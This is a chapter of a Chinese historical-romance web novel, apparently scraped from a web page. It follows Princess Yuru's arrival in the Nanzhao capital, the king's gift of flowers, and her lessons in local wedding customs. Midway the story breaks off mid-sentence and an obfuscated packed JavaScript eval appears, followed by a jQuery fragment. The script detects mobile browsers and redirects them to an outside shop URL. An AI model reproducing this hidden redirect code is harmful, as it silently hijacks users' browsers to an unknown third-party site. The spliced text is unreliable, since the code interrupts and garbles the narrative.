自入南昭地界,队伍行进的速度比预计快了许多。
沿澜沧江向南,过龙尾关,经白崖赕,原定十日的路程,最后只用了八日。
玉汝设想里诸如山体滑坡、野兽群袭等会阻碍行路的意外情况都有发生,只是往往她刚收到消息,南昭军便已经将路障清扫干净。
饶是如此,那谁隔山差五送来的殷勤示好也从未断过。
姜媪假意背着她自顾念叨:“这大王可真是有使不完的精力,既要亲率王军行路警戒,又要忙里偷闲想法子来示好,郎君若是婚前便肯花心思,婚后必也是个知道疼人的。”
玉汝默不作声,一个人站在帐前仰头看天。
余晖将天际染得绚丽多彩,一层层云雾或深或浅,透红透紫,像是一幅流动的画卷。
羽仪长奕方又来了,这回怀中捧着一大束不知品种的花,隔得远远的,朝她抱臂行礼。
玉汝想了一瞬,遂即招手,示意他近前来。
奕方却在原地踌躇不前,在应该听命于大王还是听命于公主之间左右摇摆,还没得出个结果,已经被人往前推搡了一把。
他恼怒地回头,见是公主身边的女官舜英,气势顿时便矮了一截。
“愣着干什么,公主召你近前说话呢。”
所以是公主召见,不是他冒犯无礼,总不能算是坏了大王的规矩吧!
他说服了自己,欢天喜地嗳一声,跟着小跑过去,将怀中还带着秋露的凤仙花捧到了公主眼前。
玉汝拈一朵在手赏玩,形如凤尾,是淡淡的丁香色。
“此花名滇水金凤,乃南昭独有的品种,公主,您猜这是哪里来的?”
玉汝随口就说:“又是你们大王亲自去摘的?”
谁知这回竟不是。
奕方似是没有想到这一问,尴尬地语滞一霎,嗫喏道:“这……差不多算是吧。”
玉汝哭笑不得,是就是,不是就不是,什么叫差不多算是。即便只是南昭王动动嘴派手下人去采摘来的,玉汝也不会有半点不快,毕竟从前那些东西她也从未在意过是否真的都是他事必躬亲。
“哎呀!我直接告诉您吧!”奕方一跺脚,“这是公主宫里的花儿。”
“自圣人允婚,大王便开始四处搜罗工匠,为公主新建了一座奢华宫殿。又在宫内造假山池水,移栽各种名花异卉。这滇水金凤呢,是南昭才能生长的一种凤仙花,多生于浅水中,花期本在仲秋。上两月未曾开花时,宫里的花匠都以为是因刚栽种而来,所以根茎尚未长成,没想到,前两日却忽而一夜绽放,可见这花有灵,是专等着公主您来呢!”
“大王收到消息,便派人折了这一株连夜送到您面前。大王还说,这是滇水金凤在栖梧宫的第一次开花盛放,望此花芬氲,得您欢心,往后岁岁年年都能常伴于公主。”
“栖梧宫?”
“哦!”奕方拍了拍脑袋,“瞧我,连最重要的都忘了说,大王为公主新建的宫殿,便名栖梧。这长出来的花又是滇水金凤,您说,是不是上天注定!”
玉汝知道这种花。书上有记载,八月开花,九月结果,成熟的果实会因外力而迸开,碎果洒落周围,落地成活,来年便会长出一株株新的滇水金凤。林下、浅水、溪边皆能成种,生长迅速,开花繁茂。
玉汝低头看着它们的娇美妍丽,心中不是不喜欢,不是不触动的。
可是……
栖梧宫……这世上真有这般凑巧的事吗?还是说,圣人与他已经互通有无到了这种地步,连一个表字也会特地传信告知。
好在这个问题没有让她困惑太久,没过几天,玉汝就知道了栖梧二字的由来始末。
白崖赕是南昭拱卫王都太和城的重镇之一,过了此处,便进入了南昭腹地。沿途常有王室贵族或高官豪绅所置的庄园别业,或靠山,或临江,家主们争相洒扫庭院,以盼公主下榻稍歇。
不用再露宿荒野,玉汝当然不会拒绝。她身体已恢复许多,偶尔沐浴过后,还有闲暇开始对比南昭与大燕在建筑上的风格差异。
中原崇墉仡仡,越是大户人家,越是讲究门头高阔。南昭却是房檐低矮,但依山傍水,景致绝佳,人只需站在庭院中,便能仰望到苍山。
可见蛮人对苍山与洱河的崇敬,比对菩萨还要虔诚。
队伍抵达太和城这日,玉汝那卷《山川风物志》也已读完。
书上写,云岭之南,山川阻深,瘴疠横行。却不曾说滇中风和日暄,云蒸霞蔚,景色旖旎。
虽已入冬,太和城却是小阳春正暖,不觉一丝凉意,连拂在人脸上的清风都是温柔的,和煦的。
城郊道路两旁桃李成林,开得正盛,像架起的湘妃色步障,绵延十里,一路迎远来贵客至太和城正南门。
城门外,清平官携文臣列左,大军将率武官列右,还有十二头象队列前,在王驾与公主车驾抵达时,齐齐跪拜恭迎,金钲鼓角长鸣不绝。
城门内,也早已是万人空巷。
国王亲自北上接回上朝公主,这简直是爱情话本里最浪漫的桥段,早在百姓茶余饭后的讨论里延伸出了无数缠绵悱恻的版本。所以,当年轻的国王身披金甲虎皮,腰悬铎鞘,驭宝马驶过长街时,即便百姓被夹道警戒的千人卫队拦在身后,仍争先踮脚探头,向后张望。
那是一辆富贵至极的马车,周身镶金嵌玉,厢门缀五彩翟羽。车檐悬有铜铃,一路叮咛作响,悦耳动听。车门与车窗则挂着蹁跹的轻纱幛幔,阳光下跃动飞舞,闪烁出金线绣制的精美纹路。就连驾车的两匹赤骝马亦带有镂金面罩,胸配彩锦,气势昂扬。车旁两侧随行的宫女内侍俱着锦袍,或手提镂金香炉,或手执雉尾扇、偃盖、团扇,行走时步伐稳健,姿态优雅。
公主端坐车内并不见其身影,但那车轮滚过时在地上压出的浅浅觳纹,却仿佛留下了碎薄的麸金与长久的香气。
于是,百姓夹道欢呼,沿路跪拜,人群里此起彼伏,声浪像汹涌的波涛,一阵高过一阵。
“大王安康——公主吉乐——”
“贺大王新禧——”
“愿公主长乐无极——”
……
大婚定在三日之后。
这三日,玉汝将暂居城中馆驿,遵南昭婚俗,茹素斋戒。
夫妻相处的第一步,就是互相尊重彼此的文化和习俗,南昭王这一路也算恪守大燕婚俗,茹素于她来说自然也不在话下。
为帮助她尽快学习熟记南昭婚仪,也为照顾她这几日的日常起居,南昭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617499|205372||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
派来两位城中德高望重的贵妇人,随侍公主左右。
一位姓方,乃清平官严轼之妻。一位姓赵,乃日东王妃,自称是南昭王的婶母。
“馆驿简陋,这几日需得委屈公主了。待公主与大王大婚后,便可入住栖梧宫。大王爱重公主,栖梧宫也修得极是华丽,据说那宫中亭台楼阁,一样家具制式都是仿照大燕所造。”日东王妃侧过头去望一眼方夫人,“就连这栖梧宫的名儿,都是大王特地求教严大人,请严大人给取的美名,方夫人,你说是吗?”
方夫人谦虚一笑,“蒙大王信重,将此要事交于外子,妾只能愈加恭谨侍奉公主,才能回报一二了。”
日东王妃一撇嘴,顿时后悔自己递了这话,倒叫姓方的趁势卖乖讨好。
而玉汝也从这只言片语里知晓,原来栖梧二字,是出自严轼之手。
“我初来乍到,接下来几日,便仰赖两位夫人多多照拂提点了。”玉汝柔声说完,命人送上两份见面礼。
舟车劳顿,教学南昭婚仪的事明日才会正式开始,今日她们只做拜见,因而连声说着“不敢”,“公主客气”,略寒暄几句后便躬身告退了。
翌日,由日东王妃先教她南昭王族的婚仪古礼。这些早在燕宫时玉汝便粗略学过,如今再强化细致几遍,上手极快,让日东王妃不住赞叹:“公主不愧是上朝的宗室贵女,端庄持重,颖悟绝人,原本我还担心三日时间不够,如今看来,竟是我多虑了。”
后日,又由方夫人教她南昭日常的习俗与禁忌。这些事背起来容易,可是不是真能记住继而成为习惯,却还需要以后的时间来慢慢适应。方夫人说不着急,“妾初至南昭时,这些习俗、饮食许久都不能习惯,每日惶惶不可终日,连梦里都在学习南昭人说话的用词语调。可能怎么办呢,大燕已经回不去了,哪怕再艰难,也只能自个儿想办法在这里生存下去。”
方夫人望过来,目光慈爱犹如一位故交长辈,“公主比妾当年的处境要好许多,可妾知道,同样是背井离乡,公主心里的惶恐或许并不比妾少。您别怕,大王对您极是看重,妾阖族亦会倾尽全力,助您后位稳固。”
一上来便交浅言深,玉汝显然没有那么容易被打动。只是她面上不表,晏晏地挑了挑眉,意外道:“怎么?我这王后之位还能有变?”
方夫人本以为公主少女面柔,性子和软,没想到并不好忽悠,于是讪讪说没有,“您有上朝做倚仗,王后位置自然非您莫属。”
依玉汝过去与人交往的经验,后面多半要跟一句“但是”,便笑笑不说话,好整以暇地静待下文,果然便听方夫人慈和的声音里透露出一股深深的忧虑,仿佛真的在为她将来的处境发愁。
“但是,前几任南昭王皆有百来位妻妾,比之圣人的后宫佳丽三千也不遑多让。大王春秋鼎盛,又生得雄姿英发,国中不知多少女子芳心暗许,哪怕做不了王后,做个妃妾、宠姬她们也都是愿意的。公主初来乍到,根基不稳,倘若让在此地经营日久势力庞大的南昭望族之女入了王宫,公主将来恐怕会处处掣肘。”
望族之女会成为她的威胁,那么,是不是就会有另一批人可以成为她的帮手。
玉汝咂摸细品,猜测这个方夫人家里,或许有正待字闺中的小娘子。